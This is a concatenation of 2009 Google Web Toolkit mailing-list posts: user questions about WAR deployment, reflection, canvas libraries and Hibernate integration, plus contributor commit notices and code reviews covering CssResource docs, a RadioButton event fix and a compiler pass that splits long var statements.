Hi all, I have done many webpages with tomcat but seem to be having some issues deploying a simple webpage for GWT that loads other pages into Frames. This app just creates a few Frames and puts a page into it. Very simple All the pages are under a directory called Pages off the Root (war/ Pages in eclipse). In my code I do the following I do the following to display the Url into the Fram. Page.setUrl(/Pages/General/Home.html); All the GWT widgets display just fine but I do not see any of the pages I referance. It does work from eclipse just fine, I see all my widgets (GWT stuff) and all the pages I load via ??.setUrl. I created the jar file in the following manor jar cvf xx.war -C war . I also made the war file via cd war jar cf ..\xx.war * It should be noted this GWT does not have any server stuff, just all page stuff. Donald W. Long (donald.w.l...@thelongsfamily.com) --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: ListBox how set selected item by value
bump --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Inherit java.seurity and commons-codec-1.3.jar
Hi Asif, Just run your application over ssl (https) get a cert and install it in Tomcat or what ever J2EE application server (or .net, .php exc) your using. Thats all you need to secure your passwords over the wire. Most of java is not available for GWT, only if the jar or project says it is compatible can you use a external jar (or most of the core java classes). Hope this helps, Scott On May 20, 5:28 am, abbu minhaj.mis...@gmail.com wrote: Im using java.security and commons-codec-1.3 jar for passwprd hashing. but im unable to inherit those jars. I always get a compilation error that the required module is not inherited. How to inherit external jars even when they are included in ur lib folder and classpath. Or does gwt provides any alternative for these functionalities? Thnx in advance. Asif. --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Using Class.forName
Hi, The only way around this it to use something like this class; http://cvs.adligo.org/viewvc/params/src/org/adligo/models/params/client/ClassForNameMap.java?view=markup Not very elegant, but works fine. Cheers, Scott On May 20, 6:30 am, rudolf michael roud...@gmail.com wrote: hello,No you cannot use it, bc java reflection is not supported. The alternative is to use GWT.create(yourClass.class) and deffered binding. On Wed, May 20, 2009 at 2:27 PM, Pints rohitvad...@gmail.com wrote: Hi, I am tring to use Class.forName at cleint for object creation and getting the following exception. [ERROR] Line 196: The method forName(String) is undefined for the type Class [ERROR] Line 197: The method newInstance() is undefined for the type Class Can't we use it? Any possible way around? Thanks. --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
GWTCanvas vs gwt-canvas ?
What's the difference between GWTCanvas (in the incubator) and gwt- canvas? GWTCanvas: http://code.google.com/p/google-web-toolkit-incubator/wiki/GWTCanvas gwt-canvas: http://code.google.com/p/gwt-canvas/ Overall, GWTCanvas is working well for me, but I'm a bit unhappy with its IE performance in the rendering of bordered rectangles (playing around with some test code, it seemed at one point that, in IE only, simple HTML element rendering of a bordered rectangle was actually just a bit faster than using GWTCanvas; GWTCanvas is much faster in IE for more complex shapes that would require many HTML elements, like pie slices, though). Would gwt-canvas be faster for IE bordered rectangle rendering? Is it worth trying? How is it different/better than the incubator's GWTCanvas? --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Hibernate4Gwt inherited issue
Hi Noon, I know that is simple GWT issue and not HIbernate4GWT issue. I am also know what is the main cause of this problem. I am getting this exception message because i am going to import another package rather than client on the client side class i.e. com.test.modulename.bdo.ABC in the com.test.client.modulename.screen package. For handling this, i also included the source path like source path='bdo'/ in the my entryPoint gwt.xml. And you are also doing the same thing in the Hibernate4Gwt test example if i am not wrong. My project and package hierarchy is like as: I have four projects like Module, ModuleUI, HIbernate4GWTImpl and HomeModule. I configured my application like as : Module :- all application BDO's and mapping files. ModuleUI :- all widgets. Hibernate4GWTImpl :- DAO, HIbernate4GWTService, Hibernate4GWTServiceImpl and all resources. HomeModule :- My main entry point. According to that requirements, i created two gwt.xml one is in HIbernate4GWTImpl and second is in HomeModule. My HomeModule gwt.xml structure is like as :- module inherits name='com.google.gwt.user.User'/ source path='bdo'/ source path='client'/ inherits name='net.sf.hibernate4gwt.Hibernate4Gwt14'/ !-- Specify the app entry point class. -- entry-point class=com.shrisure.client.HomeModule / /module So, according to this, i am thinking i am going on the right way. I know there may be very small mistake that is blocking me. Could you please help me, for resolving this issue. I know Hibernate4GWT has been renamed and it's Gilead infect not HIbernate4GWT but first of all it should work in my application whatever it's Gilead or Hibernate4GWT and that is no mean for me is it Gilead or Hibernate4GWT. I am thinking in very simple way... if please configured whatever you have and also check how i can take benefits of this in my application then think further i.e. it's Gilead or HIbernate4GWT whatever. I am using GWT 1.5.3, JDK 1.5 with Hibernate4GWT. Please tell me where i am doing wrong? Regards, SUnil. On May 21, 11:20 pm, noon bruno.marches...@gmail.com wrote: Hi, First, this issue is not related to Hibernate4GWT, but is a simple GWT issue (your gwt.xml file may be misplaced). Furthermore, the Hibernate4GWT library has been renamed and keeps on evolving as Gilead (http://gilead.sourceforge.net). Regards Bruno On 21 mai, 17:33, SunilBansal sunil.ban...@daffodildb.com wrote: Hi All, Can anybody give me an idea how can i resolve this issue. On May 21, 6:52 pm, Sanj sunil.ban...@daffodildb.com wrote: Hi All, I am new toHibernate4GWT. I try to implement in my module and follow the same instruction as given in theHibernate4GWTtest case. According to that one, i creates my BDO's in com.test.modulename.bdo package and imported in the client or widgets. But i am facing some issue i.e. [ERROR] Line 16: No source code is available for type com.test.modulename.bdo.ABC; did you forget to inherit a required module? While i also included the source path in the gwt.xml file as :- source path='bdo'/ source path='client'/ Then also not able to resolve that issue. Please give me solution on that issue. Regards, Sunil. --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: GWT 1.6 with Hibernate and class loading issues.
Hi Sajil, I believe the error you're receiving is due to a ClassCastException in your server-side code. From the exception stack trace: Caused by: java.lang.ClassCastException: net.sf.hibernate.dialect.MySQLDialect cannot be cast to org.hibernate.dialect.Dialect at org.hibernate.dialect.DialectFactory.buildDialect (DialectFactory.java:101) ... 34 more java.lang.NullPointerException at com.bt.web.server.EventManager.createAndStoreEvent (EventManager.java:22) at com.bt.web.server.GreetingServiceImpl.greetServer (GreetingServiceImpl.java:23) As far as launch configurations are concerned, you should be good to go now that the Google App Engine option has been de-selected. Hope that helps, -Sumit Chandel On Mon, May 18, 2009 at 11:16 PM, sajil sajil.kor...@gmail.com wrote: When I am trying to connect to MySQL from my GWT servlet, I am getting an exception : java.security.AccessControlException: access denied (java.lang.RuntimePermission modifyThreadGroup) I searched the group and found the solution. I went and disabled the Google App Engine. But now I have problem with my class loading. It seams the GWT class loader is conflicting with Eclipse class loader. I get the following error: May 18, 2009 11:10:30 PM net.sf.hibernate.dialect.Dialect init INFO: Using dialect: net.sf.hibernate.dialect.MySQLDialect Initial SessionFactory creation failed.org.hibernate.HibernateException: Could not instantiate dialect class org.hibernate.HibernateException: Could not instantiate dialect class at org.hibernate.dialect.DialectFactory.buildDialect (DialectFactory.java:107) at org.hibernate.dialect.DialectFactory.buildDialect (DialectFactory.java:65) at org.hibernate.cfg.SettingsFactory.determineDialect (SettingsFactory.java:460) at org.hibernate.cfg.SettingsFactory.buildSettings (SettingsFactory.java:155) at org.hibernate.cfg.Configuration.buildSettings(Configuration.java: 2101) at org.hibernate.cfg.Configuration.buildSessionFactory (Configuration.java:1325) at com.bt.web.server.HibernateUtil.clinit(HibernateUtil.java:13) at com.bt.web.server.EventManager.createAndStoreEvent (EventManager.java:22) at com.bt.web.server.GreetingServiceImpl.greetServer (GreetingServiceImpl.java:23) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:39) at sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:25) at java.lang.reflect.Method.invoke(Method.java:597) at com.google.gwt.user.server.rpc.RPC.invokeAndEncodeResponse (RPC.java:527) at com.google.gwt.user.server.rpc.RemoteServiceServlet.processCall (RemoteServiceServlet.java:166) at com.google.gwt.user.server.rpc.RemoteServiceServlet.doPost (RemoteServiceServlet.java:86) at javax.servlet.http.HttpServlet.service(HttpServlet.java:713) at javax.servlet.http.HttpServlet.service(HttpServlet.java:806) at org.mortbay.jetty.servlet.ServletHolder.handle(ServletHolder.java: 487) at org.mortbay.jetty.servlet.ServletHandler.handle (ServletHandler.java:362) at org.mortbay.jetty.security.SecurityHandler.handle (SecurityHandler.java:216) at org.mortbay.jetty.servlet.SessionHandler.handle (SessionHandler.java:181) at org.mortbay.jetty.handler.ContextHandler.handle (ContextHandler.java:729) at org.mortbay.jetty.webapp.WebAppContext.handle(WebAppContext.java: 405) at org.mortbay.jetty.handler.HandlerWrapper.handle (HandlerWrapper.java:152) at org.mortbay.jetty.handler.RequestLogHandler.handle (RequestLogHandler.java:49) at org.mortbay.jetty.handler.HandlerWrapper.handle (HandlerWrapper.java:152) at org.mortbay.jetty.Server.handle(Server.java:324) at org.mortbay.jetty.HttpConnection.handleRequest(HttpConnection.java: 505) at org.mortbay.jetty.HttpConnection$RequestHandler.content (HttpConnection.java:843) at org.mortbay.jetty.HttpParser.parseNext(HttpParser.java:647) at org.mortbay.jetty.HttpParser.parseAvailable(HttpParser.java:205) at org.mortbay.jetty.HttpConnection.handle(HttpConnection.java:380) at org.mortbay.io.nio.SelectChannelEndPoint.run (SelectChannelEndPoint.java:396) at org.mortbay.thread.QueuedThreadPool$PoolThread.run (QueuedThreadPool.java:488) Caused by: java.lang.ClassCastException: net.sf.hibernate.dialect.MySQLDialect cannot be cast to org.hibernate.dialect.Dialect at org.hibernate.dialect.DialectFactory.buildDialect (DialectFactory.java:101) ... 34 more java.lang.NullPointerException at com.bt.web.server.EventManager.createAndStoreEvent (EventManager.java:22) at com.bt.web.server.GreetingServiceImpl.greetServer (GreetingServiceImpl.java:23) at
[gwt-contrib] Re: split up long var lines
On Wed, May 20, 2009 at 3:13 PM, Ray Cromwell cromwell...@gmail.com wrote: As a practical example, ClientBundle can already generate deep expressions for Css resource injection that exhaust the stack space of the JVM when compiling. You end up with something like: var cssText = a + b + c + . (hundreds) which produces a very deeply nested binary expression tree. Good example. That would be a problem if there can be in the neighborhood of 10,000 of them. Hundreds wouldn't be a problem. In general, it would take a few days' work to write a general un-deepener. We can do that if it starts to look like an important enough problem. In this case, it looks much easier to modify the generator. Lex --~--~-~--~~~---~--~~ http://groups.google.com/group/Google-Web-Toolkit-Contributors -~--~~~~--~~--~--~---
[gwt-contrib] [google-web-toolkit commit] r5451 - Edited wiki page through web user interface.
Author: b...@google.com Date: Thu May 21 06:43:38 2009 New Revision: 5451 Modified: wiki/CssResource.wiki Log: Edited wiki page through web user interface. Modified: wiki/CssResource.wiki == --- wiki/CssResource.wiki (original) +++ wiki/CssResource.wiki Thu May 21 06:43:38 2009 @@ -3,7 +3,7 @@ wiki:toc max_depth=2 / -See also the CssResourceCookbook +See also the CssResourceCookbook and StyleInjector. =Goals= @@ -236,11 +236,10 @@ .hookClass{} /* Empty and stripped, but left for future expansion */ }}} * The function just returns the CSS class name, but verifies that the CSS class exists in the stylesheet. -* _TODO_: Add an @external annotation to allow a binding to a site-wide css file - * No typos. + * Accessing class names through the interface ensures that there can be no typos in code that consumes the CssResource. * For obfuscation, we'll use a Adler32 checksum of the source css file expressed in base36 as a prefix (7 chars). The developer can override this with the `CssResource.obfuscationPrefix` deferred-binding property. * `set-configuration-property name=CssResource.obfuscationPrefix value=empty /` can be used for minimal-length selector names, but this is only recommended when the GWT module has total control over the page. - * The `...@external` at-rule can be used to selectively disable obfuscation for named selectors; see below for additional detail. + * The `...@external` at-rule can be used to selectively disable obfuscation for named selectors; see [#External_and_legacy_scopes additional detail]. = Unplanned use cases = @@ -576,4 +575,4 @@ * Other meta-classes * @Opacity * @RoundedCorners - * Can we generalize the meta-classes into an extensible Java provider API? + * Can we generalize the meta-classes into an extensible Java provider API? \ No newline at end of file --~--~-~--~~~---~--~~ http://groups.google.com/group/Google-Web-Toolkit-Contributors -~--~~~~--~~--~--~---
[gwt-contrib] [google-web-toolkit commit] r5452 - Copy StyleInjector wiki page from incubator and update with current information.
Author: b...@google.com Date: Thu May 21 06:53:08 2009 New Revision: 5452 Added: wiki/StyleInjector.wiki Log: Copy StyleInjector wiki page from incubator and update with current information. Added: wiki/StyleInjector.wiki == --- (empty file) +++ wiki/StyleInjector.wiki Thu May 21 06:53:08 2009 @@ -0,0 +1,51 @@ +#summary A utility class for injecting CSS styleshees + += Goal = + + * Provide a cross-browser abstraction for injecting additional CSS at runtime. + += Details = + +StyleInjector is part of the `com.google.gwt.dom.user` package. + +Define your ClientBundle and CssResource: +{{{ +public interface Resources extends ClientBundle { + public static final Resources INSTANCE = + GWT.create(Resources.class); + + @ImageOptions(repeatStyle = RepeatStyle.Horizontal) + @Source(myBackground.png) + public ImageResource backgroundFunction(); + + @Source(myCss.css) + public CssResource css(); +} +}}} + +The CSS contents (see CssResource for more information): +{{{ +...@sprite .some .selector { + gwt-image: 'backgroundFunction'; +} +}}} + +In your `onModuleLoad`: +{{{ +StyleInjector.injectStylesheet(Resources.INSTANCE.css().getText()); +}}} + + +You now have your stylesheet applied to the document while taking advantage of strongly-named or inlined resource URLs. Because the standard I18N-style of resource naming is applied to the `ImageResource` instance, it is possible to provide localized CSS background images without the need for multiple, per-locale stylesheets. It is now possible to have `myBackground_fr.png` and `myBackground_en.png` substituted based on the `locale` deferred binding property. + +It is possible to update the contents of a previously-injected stylesheet using the `setContents()` method: +{{{ +StyleElement elt = StyleInjector.injectStylesheet(CSS contents); +StyleInjector.setContents(elt, New CSS contents); +}}} + += Caveats = + +Certain browsers have an upper bound on the total number of stylesheets that can be injected. In this case, StyleInjector will append to previously-created stylesheets when `injectStylesheet` is called. If the developer wishes to maintain relative ordering of CSS content, the `injectStylesheetAtEnd` and `injectStylesheetAtStart` methods should be used instead of `injectStylesheet`. + +In general, it is more efficient to concatenate the output of multiple CssResource instances before injecting the CSS to reduce the amount of time the CSS is re-parsed by the browser. --~--~-~--~~~---~--~~ http://groups.google.com/group/Google-Web-Toolkit-Contributors -~--~~~~--~~--~--~---
[gwt-contrib] [google-web-toolkit commit] r5453 - Edited wiki page through web user interface.
Author: b...@google.com Date: Thu May 21 06:55:33 2009 New Revision: 5453 Modified: wiki/StyleInjector.wiki Log: Edited wiki page through web user interface. Modified: wiki/StyleInjector.wiki == --- wiki/StyleInjector.wiki (original) +++ wiki/StyleInjector.wiki Thu May 21 06:55:33 2009 @@ -46,6 +46,6 @@ = Caveats = -Certain browsers have an upper bound on the total number of stylesheets that can be injected. In this case, StyleInjector will append to previously-created stylesheets when `injectStylesheet` is called. If the developer wishes to maintain relative ordering of CSS content, the `injectStylesheetAtEnd` and `injectStylesheetAtStart` methods should be used instead of `injectStylesheet`. +Certain browsers have an upper bound on the total number of stylesheets that can be injected. In this case, StyleInjector will append to previously-created stylesheets when `injectStylesheet()` is called. If the developer wishes to maintain relative ordering of CSS content, the `injectStylesheetAtEnd()` and `injectStylesheetAtStart()` methods should be used instead of `injectStylesheet()`. -In general, it is more efficient to concatenate the output of multiple CssResource instances before injecting the CSS to reduce the amount of time the CSS is re-parsed by the browser. +In general, it is more efficient to concatenate the output of multiple CssResource instances before injecting the CSS to reduce the number of times the CSS is re-parsed by the browser. \ No newline at end of file --~--~-~--~~~---~--~~ http://groups.google.com/group/Google-Web-Toolkit-Contributors -~--~~~~--~~--~--~---
[gwt-contrib] [google-web-toolkit commit] r5454 - RadioButtons were not sinking click events
Author: rj...@google.com Date: Thu May 21 08:03:33 2009 New Revision: 5454 Modified: trunk/user/src/com/google/gwt/user/client/ui/RadioButton.java Log: RadioButtons were not sinking click events Issue: 3679 Reviewer: scottb Modified: trunk/user/src/com/google/gwt/user/client/ui/RadioButton.java == --- trunk/user/src/com/google/gwt/user/client/ui/RadioButton.java (original) +++ trunk/user/src/com/google/gwt/user/client/ui/RadioButton.java Thu May 21 08:03:33 2009 @@ -63,7 +63,8 @@ public RadioButton(String name) { super(DOM.createInputRadio(name)); setStyleName(gwt-RadioButton); - + +sinkEvents(Event.getTypeInt(ClickEvent.getType().getName())); sinkEvents(Event.getTypeInt(MouseUpEvent.getType().getName())); sinkEvents(Event.getTypeInt(BlurEvent.getType().getName())); sinkEvents(Event.getTypeInt(KeyDownEvent.getType().getName())); --~--~-~--~~~---~--~~ http://groups.google.com/group/Google-Web-Toolkit-Contributors -~--~~~~--~~--~--~---
[gwt-contrib] [google-web-toolkit commit] r5455 - Cherry pick of trunk r5454
Author: rj...@google.com Date: Thu May 21 08:06:03 2009 New Revision: 5455 Modified: releases/1.6/user/src/com/google/gwt/user/client/ui/RadioButton.java Log: Cherry pick of trunk r5454 Modified: releases/1.6/user/src/com/google/gwt/user/client/ui/RadioButton.java == --- releases/1.6/user/src/com/google/gwt/user/client/ui/RadioButton.java (original) +++ releases/1.6/user/src/com/google/gwt/user/client/ui/RadioButton.java Thu May 21 08:06:03 2009 @@ -63,7 +63,8 @@ public RadioButton(String name) { super(DOM.createInputRadio(name)); setStyleName(gwt-RadioButton); - + +sinkEvents(Event.getTypeInt(ClickEvent.getType().getName())); sinkEvents(Event.getTypeInt(MouseUpEvent.getType().getName())); sinkEvents(Event.getTypeInt(BlurEvent.getType().getName())); sinkEvents(Event.getTypeInt(KeyDownEvent.getType().getName())); --~--~-~--~~~---~--~~ http://groups.google.com/group/Google-Web-Toolkit-Contributors -~--~~~~--~~--~--~---
[gwt-contrib] [google-web-toolkit commit] r5456 - Record cherry pick of 5454
Author: rj...@google.com Date: Thu May 21 08:06:34 2009 New Revision: 5456 Modified: releases/1.6/branch-info.txt Log: Record cherry pick of 5454 Modified: releases/1.6/branch-info.txt == --- releases/1.6/branch-info.txt(original) +++ releases/1.6/branch-info.txtThu May 21 08:06:34 2009 @@ -60,6 +60,7 @@ /trunk revision c4820 was merged (r5439) into this branch /trunk revision c5230 was merged (r5440) into this branch /trunk revision c5347 was merged (r5443) into this branch (removes broken test from c5333) +/trunk revision c5454 was merged (r5455) into this branch (radio button fix) The next merge into trunk will be: svn merge -r5430: https://google-web-toolkit.googlecode.com/svn/releases/1.6 . --~--~-~--~~~---~--~~ http://groups.google.com/group/Google-Web-Toolkit-Contributors -~--~~~~--~~--~--~---
[gwt-contrib] [google-web-toolkit commit] r5457 - Rollback cherry pick of broken 5454
Author: rj...@google.com Date: Thu May 21 08:19:10 2009 New Revision: 5457 Modified: releases/1.6/branch-info.txt releases/1.6/user/src/com/google/gwt/user/client/ui/RadioButton.java Log: Rollback cherry pick of broken 5454 Modified: releases/1.6/branch-info.txt == --- releases/1.6/branch-info.txt(original) +++ releases/1.6/branch-info.txtThu May 21 08:19:10 2009 @@ -60,7 +60,6 @@ /trunk revision c4820 was merged (r5439) into this branch /trunk revision c5230 was merged (r5440) into this branch /trunk revision c5347 was merged (r5443) into this branch (removes broken test from c5333) -/trunk revision c5454 was merged (r5455) into this branch (radio button fix) The next merge into trunk will be: svn merge -r5430: https://google-web-toolkit.googlecode.com/svn/releases/1.6 . Modified: releases/1.6/user/src/com/google/gwt/user/client/ui/RadioButton.java == --- releases/1.6/user/src/com/google/gwt/user/client/ui/RadioButton.java (original) +++ releases/1.6/user/src/com/google/gwt/user/client/ui/RadioButton.java Thu May 21 08:19:10 2009 @@ -63,8 +63,7 @@ public RadioButton(String name) { super(DOM.createInputRadio(name)); setStyleName(gwt-RadioButton); - -sinkEvents(Event.getTypeInt(ClickEvent.getType().getName())); + sinkEvents(Event.getTypeInt(MouseUpEvent.getType().getName())); sinkEvents(Event.getTypeInt(BlurEvent.getType().getName())); sinkEvents(Event.getTypeInt(KeyDownEvent.getType().getName())); --~--~-~--~~~---~--~~ http://groups.google.com/group/Google-Web-Toolkit-Contributors -~--~~~~--~~--~--~---
[gwt-contrib] Re: split up long var lines
Thanks, Joel. Committed at r5459. http://gwt-code-reviews.appspot.com/33826 --~--~-~--~~~---~--~~ http://groups.google.com/group/Google-Web-Toolkit-Contributors -~--~~~~--~~--~--~---
[gwt-contrib] [google-web-toolkit commit] r5459 - Per issue 3455, split up very long var lines to avoid a bug in
Author: sp...@google.com Date: Thu May 21 08:48:10 2009 New Revision: 5459 Added: trunk/dev/core/src/com/google/gwt/dev/js/JsBreakUpLargeVarStatements.java (contents, props changed) trunk/user/src/com/google/gwt/core/CompilerParameters.gwt.xml (contents, props changed) Modified: trunk/dev/core/src/com/google/gwt/dev/CompilePerms.java trunk/dev/core/src/com/google/gwt/dev/jjs/JavaToJavaScriptCompiler.java trunk/user/src/com/google/gwt/core/Core.gwt.xml trunk/user/test/com/google/gwt/emultest/EmulSuite.gwt.xml Log: Per issue 3455, split up very long var lines to avoid a bug in the beta version of Safari 4. This also adds a CompilerParameters module. It looks useful for testing to be able to tune way down compiler settings such as this one. Review by: jgw Modified: trunk/dev/core/src/com/google/gwt/dev/CompilePerms.java == --- trunk/dev/core/src/com/google/gwt/dev/CompilePerms.java (original) +++ trunk/dev/core/src/com/google/gwt/dev/CompilePerms.java Thu May 21 08:48:10 2009 @@ -184,7 +184,8 @@ Permutation permutation, UnifiedAst unifiedAst) throws UnableToCompleteException { return JavaToJavaScriptCompiler.compilePermutation(logger, unifiedAst, -permutation.getRebindAnswers(), permutation.getId()); +permutation.getRebindAnswers(), permutation.getPropertyOracles(), +permutation.getId()); } /** Modified: trunk/dev/core/src/com/google/gwt/dev/jjs/JavaToJavaScriptCompiler.java == --- trunk/dev/core/src/com/google/gwt/dev/jjs/JavaToJavaScriptCompiler.java (original) +++ trunk/dev/core/src/com/google/gwt/dev/jjs/JavaToJavaScriptCompiler.java Thu May 21 08:48:10 2009 @@ -15,6 +15,7 @@ */ package com.google.gwt.dev.jjs; +import com.google.gwt.core.ext.PropertyOracle; import com.google.gwt.core.ext.TreeLogger; import com.google.gwt.core.ext.UnableToCompleteException; import com.google.gwt.core.ext.linker.ArtifactSet; @@ -81,6 +82,7 @@ import com.google.gwt.dev.jjs.impl.TypeMap; import com.google.gwt.dev.jjs.impl.TypeTightener; import com.google.gwt.dev.js.EvalFunctionsAtTopScope; +import com.google.gwt.dev.js.JsBreakUpLargeVarStatements; import com.google.gwt.dev.js.JsIEBlockSizeVisitor; import com.google.gwt.dev.js.JsInliner; import com.google.gwt.dev.js.JsNormalizer; @@ -173,13 +175,14 @@ * {...@link #precompile(TreeLogger, WebModeCompilerFrontEnd, String[], JJSOptions, boolean)} * @param rebindAnswers the set of rebind answers to resolve all outstanding * rebind decisions + * @param propertyOracles All property oracles corresponding to this permutation. * @return the output JavaScript * @throws UnableToCompleteException if an error other than * {...@link OutOfMemoryError} occurs */ public static PermutationResult compilePermutation(TreeLogger logger, UnifiedAst unifiedAst, MapString, String rebindAnswers, - int permutationId) throws UnableToCompleteException { + PropertyOracle[] propertyOracles, int permutationId) throws UnableToCompleteException { try { if (JProgram.isTracingEnabled()) { System.out.println(); @@ -291,6 +294,8 @@ // Work around an IE7 bug, // http://code.google.com/p/google-web-toolkit/issues/detail?id=1440 JsIEBlockSizeVisitor.exec(jsProgram); + + JsBreakUpLargeVarStatements.exec(jsProgram, propertyOracles); // (12) Generate the final output text. String[] js = new String[jsProgram.getFragmentCount()]; Added: trunk/dev/core/src/com/google/gwt/dev/js/JsBreakUpLargeVarStatements.java == --- (empty file) +++ trunk/dev/core/src/com/google/gwt/dev/js/JsBreakUpLargeVarStatements.java Thu May 21 08:48:10 2009 @@ -0,0 +1,106 @@ +/* + * Copyright 2009 Google Inc. + * + * Licensed under the Apache License, Version 2.0 (the License); you may not + * use this file except in compliance with the License. You may obtain a copy of + * the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an AS IS BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the + * License for the specific language governing permissions and limitations under + * the License. + */ +package com.google.gwt.dev.js; + +import com.google.gwt.core.ext.BadPropertyValueException; +import com.google.gwt.core.ext.ConfigurationProperty; +import com.google.gwt.core.ext.PropertyOracle; +import com.google.gwt.dev.jjs.InternalCompilerException; +import
[gwt-contrib] Re: split up long var lines
http://gwt-code-reviews.appspot.com/33826/diff/1/4 File user/src/com/google/gwt/core/CompilerParameters.gwt.xml (right): http://gwt-code-reviews.appspot.com/33826/diff/1/4#newcode25 Line 25: set-configuration-property name='compiler.max.vars.per.var' value='4900' / Okay, I'll change it to half. http://gwt-code-reviews.appspot.com/33826 --~--~-~--~~~---~--~~ http://groups.google.com/group/Google-Web-Toolkit-Contributors -~--~~~~--~~--~--~---
[gwt-contrib] [google-web-toolkit commit] r5460 - Resubmitting radio button fix to sink click events, this time
Author: rj...@google.com Date: Thu May 21 08:59:40 2009 New Revision: 5460 Modified: trunk/user/src/com/google/gwt/user/client/ui/RadioButton.java Log: Resubmitting radio button fix to sink click events, this time with required import line. Issue: 3679 Reviewer: scottb Modified: trunk/user/src/com/google/gwt/user/client/ui/RadioButton.java == --- trunk/user/src/com/google/gwt/user/client/ui/RadioButton.java (original) +++ trunk/user/src/com/google/gwt/user/client/ui/RadioButton.java Thu May 21 08:59:40 2009 @@ -18,6 +18,7 @@ import com.google.gwt.dom.client.Element; import com.google.gwt.dom.client.EventTarget; import com.google.gwt.event.dom.client.BlurEvent; +import com.google.gwt.event.dom.client.ClickEvent; import com.google.gwt.event.dom.client.KeyDownEvent; import com.google.gwt.event.dom.client.MouseUpEvent; import com.google.gwt.event.logical.shared.ValueChangeEvent; @@ -63,7 +64,8 @@ public RadioButton(String name) { super(DOM.createInputRadio(name)); setStyleName(gwt-RadioButton); - + +sinkEvents(Event.getTypeInt(ClickEvent.getType().getName())); sinkEvents(Event.getTypeInt(MouseUpEvent.getType().getName())); sinkEvents(Event.getTypeInt(BlurEvent.getType().getName())); sinkEvents(Event.getTypeInt(KeyDownEvent.getType().getName())); --~--~-~--~~~---~--~~ http://groups.google.com/group/Google-Web-Toolkit-Contributors -~--~~~~--~~--~--~---
[gwt-contrib] [google-web-toolkit commit] r5462 - Record cherry pick of trunk c5460
Author: rj...@google.com Date: Thu May 21 09:27:58 2009 New Revision: 5462 Modified: releases/1.6/branch-info.txt Log: Record cherry pick of trunk c5460 Modified: releases/1.6/branch-info.txt == --- releases/1.6/branch-info.txt(original) +++ releases/1.6/branch-info.txtThu May 21 09:27:58 2009 @@ -60,6 +60,7 @@ /trunk revision c4820 was merged (r5439) into this branch /trunk revision c5230 was merged (r5440) into this branch /trunk revision c5347 was merged (r5443) into this branch (removes broken test from c5333) +/trunk revision c5460 was merged (r5461) into this branch (radio button fix) The next merge into trunk will be: svn merge -r5430: https://google-web-toolkit.googlecode.com/svn/releases/1.6 . --~--~-~--~~~---~--~~ http://groups.google.com/group/Google-Web-Toolkit-Contributors -~--~~~~--~~--~--~---
[gwt-contrib] Re: Patch for issue 3279
Thanks for taking the time to listen, and for reviewing the code. If I come across as overly defensive, it's only due to the amount of time I've invested in this code. It's not due to any dislike for you, or illusions of grandeur. I appreciate the patience you've shown me. How about refactoring BitSet.java as follows. I have introduced 3 private methods to do the handling As a side note, two of those three methods already exist with slightly different names. Methods that operate on an array of integers, instead of an array of bits use the prefix raw. I could change this to a suffix of Word if you prefer it. I had thought about storing all the indexes in a separate array before, but this simplification comes at the expense of O(N) memory usage. Sure it's N/32, but that's still O(N). If the code size and complexity are a serious problem, I can factor the core of nextSetBit into a raw static method. This method finds the next element in the array by interleaving property checks and index increments. This method can then be called in a simple loop to operate over the data for those bitwise operators, and in Java opposed to JavaScript. This favors dense arrays, but that usage is likely more common. It will be slower, but should be comparable in speed. What do you think? You probably want to introduce another java method and use it instead of 5 in the code I use 5 and 5 in both Java and Javascript. I mention this in the comment at the top of the class. This is done to be readably consistent between Java and JavaScript. I can make static functions for these, but that makes the JSNI code harder to read. Have you considered this? The JSNI methods that use 5 or 5 include: getLength(JsArrayInteger array) clear(JsArrayInteger array, int bitIndex) flip(JsArrayInteger array, int bitIndex) get(JsArrayInteger array, int bitIndex) set(JsArrayInteger array, int bitIndex) nextSetBit(int fromIndex) I've also replied to some of your comments in place. http://gwt-code-reviews.appspot.com/33815/diff/9/1007 File user/super/com/google/gwt/emul/java/util/BitSet.java (right): http://gwt-code-reviews.appspot.com/33815/diff/9/1007#newcode176 Line 176: }-*/; On 2009/05/21 18:39:08, amit wrote: avoid using Log? Integer::heighestOneBit doesn't calculate log2, so the only other option is to bit twiddle the highest bit out. When I tried this it was slightly slower for some reason, but this method isn't called frequently enough to make a difference. It will be 3 or 4 more lines of code. Is this 